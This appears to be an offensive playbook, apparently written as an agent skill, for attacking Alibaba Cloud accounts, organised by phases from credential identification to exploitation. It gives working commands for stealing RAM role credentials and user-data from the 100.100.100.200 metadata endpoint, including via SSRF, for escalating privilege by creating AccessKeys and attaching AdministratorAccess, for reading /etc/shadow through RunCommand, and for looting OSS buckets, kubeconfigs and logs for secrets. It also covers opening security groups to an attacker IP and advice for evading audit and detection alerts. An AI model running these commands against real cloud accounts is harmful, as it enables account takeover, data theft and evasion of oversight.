Alibaba Cloud Penetration Testing Methodology
- 攻击大类:C09 Web应用漏洞利用
Alibaba Cloud services such as RAM/ECS/OSS/RDS/ACK form the primary attack surface. Unlike AWS, the Alibaba Cloud metadata endpoint is 100.100.100.200, AccessKeys start with LTAI, and some security mechanisms (such as metadata service access restrictions and ActionTrail coverage) differ significantly from international cloud platforms. This skill follows the penetration testing phases, from credential identification through per-service exploitation, and provides complete attack paths.
⛔ Further Reading (Must Read)
Once a specific target service is identified, load the corresponding reference document for complete technical details:
- Compute/storage/database exploitation details → Read references/compute-storage-attacks.md
- Container/serverless/logging/KMS exploitation details → Read references/platform-services-attacks.md
Phase 1: Environment Identification
After obtaining Alibaba Cloud related targets, first identify the credential type, confirm the CLI tool is available, and determine the network position.
1.1 Credential Types
| Credential Type | Identifying Features | Validity Period | Acquisition Method |
|---|---|---|---|
| Long-term AccessKey | AccessKeyId starts with LTAI |
Permanent (until manually rotated) | Created in the RAM console / leaked from code |
| STS temporary credential | AccessKeyId starts with STS. + SecurityToken |
15 minutes to 12 hours | AssumeRole / ECS metadata |
| RAM Role (bound to ECS) | Obtained via 100.100.100.200 | Auto-rotated (about every 6 hours) | ECS instance metadata service |
| Bearer Token | Used by some OpenAPIs | Depends on the scenario | OAuth authorization flow |
1.2 CLI Configuration and Authentication
# Configure the aliyun CLI (interactive, fill in AccessKeyId/Secret/Region)
aliyun configure
# Verify the current identity (the most basic check, equivalent to AWS sts get-caller-identity)
aliyun sts GetCallerIdentity
# Returns: AccountId, Arn, IdentityType (corresponding to User/Role/AssumedRoleUser)
# View details of the current RAM user
aliyun ram GetUser
1.3 Metadata Endpoint
The Alibaba Cloud ECS metadata endpoint differs from the AWS 169.254.169.254 endpoint and uses 100.100.100.200:
# Determine whether you are inside an ECS instance
curl -s http://100.100.100.200/latest/meta-data/
# Get the name of the RAM Role bound to the instance
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/
# Get the temporary credentials of that Role (AccessKeyId/AccessKeySecret/SecurityToken)
curl -s http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME
# Get the instance ID, region, and other information
curl -s http://100.100.100.200/latest/meta-data/instance-id
curl -s http://100.100.100.200/latest/meta-data/region-id
# Get the User-Data (may contain credentials from initialization scripts)
curl -s http://100.100.100.200/latest/user-data
Note: Alibaba Cloud does not currently enforce IMDSv2 (token mode). The metadata service of most ECS instances can be accessed directly via HTTP GET without a token header, which makes SSRF vulnerabilities far more damaging in Alibaba Cloud environments.
1.4 Object Storage URL Format
Public access: https://{bucket}.oss-{region}.aliyuncs.com/{object}
Internal access: https://{bucket}.oss-{region}-internal.aliyuncs.com/{object}
Finding an oss-*.aliyuncs.com domain confirms that the target uses Alibaba Cloud OSS. Bucket names are globally unique.
1.5 Region Codes
| Region Code | Location | Notes |
|---|---|---|
| cn-hangzhou | China East 1 (Hangzhou) | Headquarters of Alibaba Cloud, the most commonly used region |
| cn-shanghai | China East 2 (Shanghai) | Commonly used by financial customers |
| cn-qingdao | China North 1 (Qingdao) | |
| cn-beijing | China North 2 (Beijing) | Commonly used by government and enterprise customers |
| cn-shenzhen | China South 1 (Shenzhen) | |
| cn-chengdu | China Southwest 1 (Chengdu) | |
| cn-hongkong | Hong Kong, China | No ICP filing required, often used for overseas business |
| ap-southeast-1 | Singapore | Overseas region |
Multiple regions must be traversed during enumeration. Some services (such as RAM and STS) are global services and are not affected by region restrictions.
Phase 2: Attack Decision Tree
Determine the attack path based on the credentials or access position currently held:
What do you currently hold?
├── No credentials
│ ├── Have a target domain → OSS bucket enumeration (guess bucket names + test public access)
│ ├── Have an SSRF vulnerability → hit http://100.100.100.200 to obtain RAM Role credentials
│ └── Only know the organization name → OSINT + OSS/subdomain enumeration
│
├── Have an AccessKey (starting with LTAI)
│ ├── Verify first: aliyun sts GetCallerIdentity
│ ├── Have RAM write permission → Phase 3 (RAM privilege escalation)
│ ├── Have ECS permission → Phase 4 (compute/storage)
│ ├── Have OSS permission → Phase 4 (object storage)
│ ├── Have RDS permission → Phase 4 (database)
│ └── Permissions unknown → probe service by service (there are no tools such as enumerate-iam, so manual probing is required)
│
├── Have STS temporary credentials (starting with STS.)
│ └── Same as above, but mind the validity period and act fast
│
├── Inside an ECS instance
│ ├── Obtain the metadata RAM Role credentials → enter the corresponding Phase based on the permissions
│ └── Check User-Data for hardcoded credentials
│
└── In a container environment (inside an ACK pod)
├── Check the ServiceAccount token
├── Try to reach the metadata service
└── → Phase 5 (container/serverless)
Phase 3: RAM Privilege Escalation Quick Reference
RAM (Resource Access Management) is the Alibaba Cloud identity and permission service, corresponding to AWS IAM.
3.1 Information Gathering
# List all RAM users
aliyun ram ListUsers
# View the policies of a given user
aliyun ram ListPoliciesForUser --UserName USERNAME
# List the AccessKeys of that user (check whether multiple exist)
aliyun ram ListAccessKeys --UserName USERNAME
# List all roles and their trust policies
aliyun ram ListRoles
3.2 Privilege Escalation Paths
| Privilege Escalation Path | Required Permission | Operation |
|---|---|---|
| Create AccessKey | ram:CreateAccessKey |
Create a new AK for a high-privilege user |
| Attach policy | ram:AttachPolicyToUser |
Attach AdministratorAccess to yourself |
| Create a policy version | ram:CreatePolicyVersion |
Create a new Allow * policy version and set it as default |
| Modify a role trust policy | ram:UpdateRole |
Modify the AssumeRolePolicyDocument so you can assume the role |
| PassRole + create ECS | ram:PassRole + ecs:CreateInstance |
Launch an ECS instance bound to a high-privilege Role |
| PassRole + create FC | ram:PassRole + fc:CreateFunction |
Create a function bound to a high-privilege Role and execute it |
# Privilege escalation example: create a new AccessKey for the target user
aliyun ram CreateAccessKey --UserName TARGET_USERNAME
# On success it returns AccessKeyId + AccessKeySecret; reconfigure the CLI with the new credentials
# Privilege escalation example: attach the administrator policy to the current user
aliyun ram AttachPolicyToUser --PolicyType System \
--PolicyName AdministratorAccess --UserName CURRENT_USERNAME
Phase 4: Compute/Storage/Database Quick Reference
ECS (Elastic Compute Service)
# List instances
aliyun ecs DescribeInstances --output cols=InstanceId,InstanceName,Status
# Execute commands via Cloud Assistant (requires the cloud assistant agent)
aliyun ecs RunCommand --Type RunShellScript \
--CommandContent "id; cat /etc/shadow" --InstanceId.1 i-INSTANCE_ID
→ Read references/compute-storage-attacks.md for the complete VNC connection, User-Data extraction, and command execution flow
OSS (Object Storage Service)
# List buckets → check the ACL → download sensitive files
aliyun oss ls
aliyun oss ls oss://BUCKET_NAME/ --include "*.env" --include "*.key" --include "*.pem" --include "*credential*"
→ Read references/compute-storage-attacks.md for the complete ACL modification, public read setup, and bulk download flow
RDS (Relational Database Service)
# List instances → get the connection string → create an account
aliyun rds DescribeDBInstances --output cols=DBInstanceId,DBInstanceDescription
→ Read references/compute-storage-attacks.md for the complete account creation and database authorization flow
SLB (Server Load Balancer)
# List SLBs → view the backend servers
aliyun slb DescribeLoadBalancers --output cols=LoadBalancerId,Address,Status
→ Read references/compute-storage-attacks.md for the complete backend tampering and traffic hijacking flow
Phase 5: Container/Serverless/Logging/KMS Quick Reference
ACK (Container Service for Kubernetes)
# List clusters → obtain the kubeconfig
aliyun cs DescribeClusters
aliyun cs DescribeClusterUserKubeconfig --ClusterId CLUSTER_ID
→ Read references/platform-services-attacks.md for the complete cluster takeover and privileged pod creation flow
FC (Function Compute)
# List functions → check the credentials in environment variables
aliyun fc ListFunctions --serviceName SERVICE_NAME --output cols=FunctionName,Runtime
→ Read references/platform-services-attacks.md for the complete code extraction and environment variable leak flow
Log Service (SLS)
# Search for sensitive information
aliyun log GetLogs --logstore LOG_STORE --query "password|secret|token"
→ Read references/platform-services-attacks.md for the complete log search and bulk export flow
KMS (Key Management Service)
# List keys → attempt to decrypt
aliyun kms ListKeys
→ Read references/platform-services-attacks.md for the complete key enumeration and data decryption flow
Phase 6: Security Group Manipulation
Security groups are the network access control layer of Alibaba Cloud ECS, similar to AWS security groups. Abusing security group rules opens network paths.
# List all security groups
aliyun ecs DescribeSecurityGroups --output cols=SecurityGroupId,Description
# View the security group rules
aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId SG_ID
# Add an ingress rule — open SSH only for the attacker IP
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
--IpProtocol tcp --PortRange 22/22 --SourceCidrIp ATTACKER_IP/32
# Dangerous operation — open all ports (very high alerting risk)
aliyun ecs AuthorizeSecurityGroup --SecurityGroupId SG_ID \
--IpProtocol tcp --PortRange 1/65535 --SourceCidrIp 0.0.0.0/0
Decision criteria: Only manipulate security groups when a reverse connection or direct access to internal services is required. Prefer the smallest port range plus a specific source IP to avoid triggering Cloud Security Center alerts.
Tool Quick Reference
| Tool | Purpose | Install/Use |
|---|---|---|
| aliyun CLI | Official Alibaba Cloud command-line tool | brew install aliyun-cli or download from GitHub Releases |
| aliyun sts GetCallerIdentity | Verify the credential identity | Built-in subcommand |
| aliyun oss | OSS object operations | Built-in subcommand |
| ossutil | OSS-specific tool (better for large file transfers) | Standalone binary, download from the Alibaba Cloud website |
| curl | Metadata service probing | Ships with the system |
| kubectl | ACK cluster operations | Used after obtaining the kubeconfig |
| cf (Cloud Exploitation Framework) | Automated Alibaba Cloud/Tencent Cloud exploitation | go install github.com/teamssix/cf@latest |
| aliyun-accesskey-tools | Collection of AccessKey abuse tools | Community tool |
Notes
ActionTrail audit awareness: Alibaba Cloud ActionTrail records management event API calls (similar to AWS CloudTrail). The following operations produce highly visible logs:
- RAM changes (CreateUser, CreateAccessKey, AttachPolicyToUser)
- STS calls (AssumeRole)
- Security group rule changes (AuthorizeSecurityGroup)
Cloud Security Center detection: Alibaba Cloud Security Center (the upgraded version of the legacy Anti-Horse agent) detects:
- Anomalous AccessKey calls (unusual IPs, unusual times, unusual API call frequency)
- Anomalous ECS logins (IPs from unusual regions)
- Abnormal openings of security group rules
- OSS bucket ACL changes to public
Rate limiting: Alibaba Cloud OpenAPIs have rate limiting, so control the request frequency during enumeration. When throttling is triggered, the Throttling.User error code is returned.
Region traversal: Similar to AWS, Alibaba Cloud resources are isolated per region. Global services (RAM, STS) are not affected by region restrictions, but ECS/OSS/RDS and similar services must be enumerated region by region.